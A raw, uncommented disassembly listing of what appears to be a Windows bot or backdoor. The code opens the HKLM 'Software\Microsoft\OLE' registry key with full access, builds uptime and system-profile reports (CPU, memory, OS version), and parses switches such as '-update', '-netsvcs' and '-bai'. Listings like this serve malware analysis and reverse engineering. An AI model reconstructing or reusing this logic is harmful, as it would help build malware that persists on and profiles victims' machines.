		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019B5
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017E4
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		call	near ptr 2AB0000h
		nop
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_50F738
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017E4
		mov	ebp, dword_50F764
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h,	244C8DFFh
		dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h
		dd 9C884C24h, 17C24h, 0C11BE800h, 9050FFFFh, 55AE18E8h
		dd 6A006A02h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h
		dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h,	742484C6h
		dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h,	50FFFFBCh
		dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h
		dd 50FFFFBAh, 0AC0CE890h, 548D0255h, 4C8D1024h,	68527824h
		dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h
		dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h,	0FFBBE3E8h
		dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h,	174h, 0FFB60DE8h
		dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah
		dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah
		dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h
		dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch
		dd 0B7E80000h, 68FFFFB5h, 104h,	10468h,	244C8D00h, 0BFDBE84Ch
		dd 9050FFFFh, 55ACD8E8h, 6A006A02h, 6A186A05h, 6A4E6A05h
		dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h
		dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h
		dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh,	84684C24h
		dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh,	74249C88h
		dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0C7E850FFh
		dd 900255AAh, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h
		dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h
		dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh
		dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh
		dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h
		dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah
		dd 136A196Ah, 96A0E6Ah,	3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh
		dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh
		dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h
		dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh
		dd 55AB94E8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h
		dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h,	30C483FFh
		dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh
		dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h,	0FFB214E8h
		dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h,	0FFFFB3FAh
		dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 255A986h,	10244C8Dh
		dd 3F6851h, 6A000Fh, 84248C8Dh,	0E8000000h, 0FFFFB990h
		dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah
		dd 106A046Ah, 46A156Ah,	548D476Ah, 46A4824h, 0BB33E852h
		dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h
		dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h,	6A056A18h
		dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h
		dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h
		dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h
		dd 4AE84C24h, 50FFFFBDh, 0AA47E890h, 6A0255h, 186A056Ah
		dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh
		dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h
		dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h
		dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch
		dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch,	0FFFFB6FDh
		dd 0A838E850h, 8D900255h, 8D102454h, 5278244Ch,	0F003F68h
		dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah
		dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h
		dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h
		dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h,	6A056A18h
		dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h
		dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h
		dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h
		dd 0AE84C24h, 50FFFFBCh, 0A907E890h, 6A0255h, 186A056Ah
		dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh
		dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h
		dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h
		dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch
		dd 174249Ch, 6BE80000h,	8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh
		dd 0F7E89050h, 8D0255A6h, 8D102444h, 5078244Ch,	0F003F68h
		dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah
		dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh,	6A000000h
		dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h
		dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h
		dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h
		dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h,	44362Ch
		dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h
		dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h,	174h, 0FFFFFFFFh
		dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066E0	proc near		; CODE XREF: sub_40194Cj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_401424
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406731
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_4020F4
		mov	[esp+38h+var_28], ebp
		jmp	loc_4067D7
; ---------------------------------------------------------------------------


loc_406731:				; CODE XREF: sub_4066E0+3Aj
		nop
		call	near ptr 2960743h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_4067C3
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		jmp	short loc_4067D3
; ---------------------------------------------------------------------------


loc_4067C3:				; CODE XREF: sub_4066E0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_446F60
		mov	ecx, esi
		call	sub_401861


loc_4067D3:				; CODE XREF: sub_4066E0+E1j
		mov	[esp+38h+var_28], ebp


loc_4067D7:				; CODE XREF: sub_4066E0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: ___:00401668j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_446F60
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406890	proc near		; CODE XREF: sub_401F3Cj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_401424
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 2960743h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 29A0000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 2990000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40695E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406946
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406936
		mov	ebp, offset a95	; "95"
		jmp	loc_4069D1
; ---------------------------------------------------------------------------


loc_406936:				; CODE XREF: sub_406890+9Aj
		cmp	eax, 2
		jnz	loc_4069CD
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40699A
; ---------------------------------------------------------------------------


loc_406946:				; CODE XREF: sub_406890+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406952
		mov	ebp, offset a98	; "98"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406952:				; CODE XREF: sub_406890+B9j
		cmp	eax, 5Ah
		jnz	short loc_40698B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_40695E:				; CODE XREF: sub_406890+83j
		cmp	eax, 5
		jnz	short loc_40698B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406975
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406975:				; CODE XREF: sub_406890+DCj
		cmp	eax, 1
		jnz	short loc_406981
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: sub_406890+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406990


loc_40698B:				; CODE XREF: sub_406890+C5j
					; sub_406890+D1j
		mov	ebp, offset a??? ; "???"


loc_406990:				; CODE XREF: sub_406890+C0j
					; sub_406890+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_4069D1


loc_40699A:				; CODE XREF: sub_406890+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_4069D1
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		nop
		call	sub_5EA1BD
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_4069D1
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406890+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_4069D1:				; CODE XREF: sub_406890+A1j
					; sub_406890+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		call	near ptr 29810A1h
		nop
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		call	near ptr 2AA0000h
		nop
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017F3
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BA0	proc near		; CODE XREF: sub_4015DCj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406BD0:				; CODE XREF: ___:00401F8Cj
		push	esi
		mov	esi, ecx
		call	sub_40143D
		test	byte ptr [esp+8], 1
		jz	short loc_406BE8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406BE8:				; CODE XREF: ___:00406BDDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C00	proc near		; CODE XREF: sub_40143Dj
		mov	dword ptr [ecx], offset	off_43E008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C17
		push	ecx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C17:				; CODE XREF: sub_406C00+Ej
		retn
sub_406C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C30	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406C61
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C61:				; CODE XREF: sub_406C30+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
sub_406C30	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_50FAF4
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_443600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D12:				; CODE XREF: ___:00406D24j
		push	offset asc_443600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D12
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F18
		lea	ebp, [esp+58h]


loc_406D38:				; CODE XREF: ___:00406F10j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4437EC
		mov	eax, edi


loc_406D42:				; CODE XREF: ___:00406D60j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D66
		test	cl, cl
		jz	short loc_406D62
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D66
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D42


loc_406D62:				; CODE XREF: ___:00406D4Cj
		xor	eax, eax
		jmp	short loc_406D6B
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: ___:00406D48j
					; ___:00406D56j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406D6B:				; CODE XREF: ___:00406D64j
		test	eax, eax
		jz	loc_406F08
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406D7A:				; CODE XREF: ___:00406D98j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D9E
		test	cl, cl
		jz	short loc_406D9A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D9E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D7A


loc_406D9A:				; CODE XREF: ___:00406D84j
		xor	eax, eax
		jmp	short loc_406DA3
; ---------------------------------------------------------------------------


loc_406D9E:				; CODE XREF: ___:00406D80j
					; ___:00406D8Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DA3:				; CODE XREF: ___:00406D9Cj
		test	eax, eax
		jnz	short loc_406DB0
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DB0:				; CODE XREF: ___:00406DA5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406DB7:				; CODE XREF: ___:00406DD5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DDB
		test	cl, cl
		jz	short loc_406DD7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DB7


loc_406DD7:				; CODE XREF: ___:00406DC1j
		xor	eax, eax
		jmp	short loc_406DE0
; ---------------------------------------------------------------------------


loc_406DDB:				; CODE XREF: ___:00406DBDj
					; ___:00406DCBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DE0:				; CODE XREF: ___:00406DD9j
		test	eax, eax
		jnz	short loc_406DED
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DED:				; CODE XREF: ___:00406DE2j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406DF4:				; CODE XREF: ___:00406E12j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E18
		test	cl, cl
		jz	short loc_406E14
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DF4


loc_406E14:				; CODE XREF: ___:00406DFEj
		xor	eax, eax
		jmp	short loc_406E1D
; ---------------------------------------------------------------------------


loc_406E18:				; CODE XREF: ___:00406DFAj
					; ___:00406E08j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E1D:				; CODE XREF: ___:00406E16j
		test	eax, eax
		jnz	loc_406F08
		lea	ecx, [esp+10h]
		call	sub_401424
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406EF4
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015D7
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406EF4
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_401681
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406EF4:				; CODE XREF: ___:00406E51j
					; ___:00406EA1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F08:				; CODE XREF: ___:00406D6Dj
					; ___:00406DABj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D38
		xor	ecx, ecx


loc_406F18:				; CODE XREF: ___:00406D2Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F25
		mov	[ebx+5], ecx


loc_406F25:				; CODE XREF: ___:00406F20j
		cmp	[ebx+5], ecx
		jnz	short loc_406F35
		test	al, al
		jz	short loc_406F35
		mov	dword ptr [ebx+5], 0Ah


loc_406F35:				; CODE XREF: ___:00406F28j
					; ___:00406F2Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407030	proc near		; CODE XREF: sub_40209Fj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407030
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_401564
sub_407030	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43E00C
		mov	eax, esi
		pop	esi
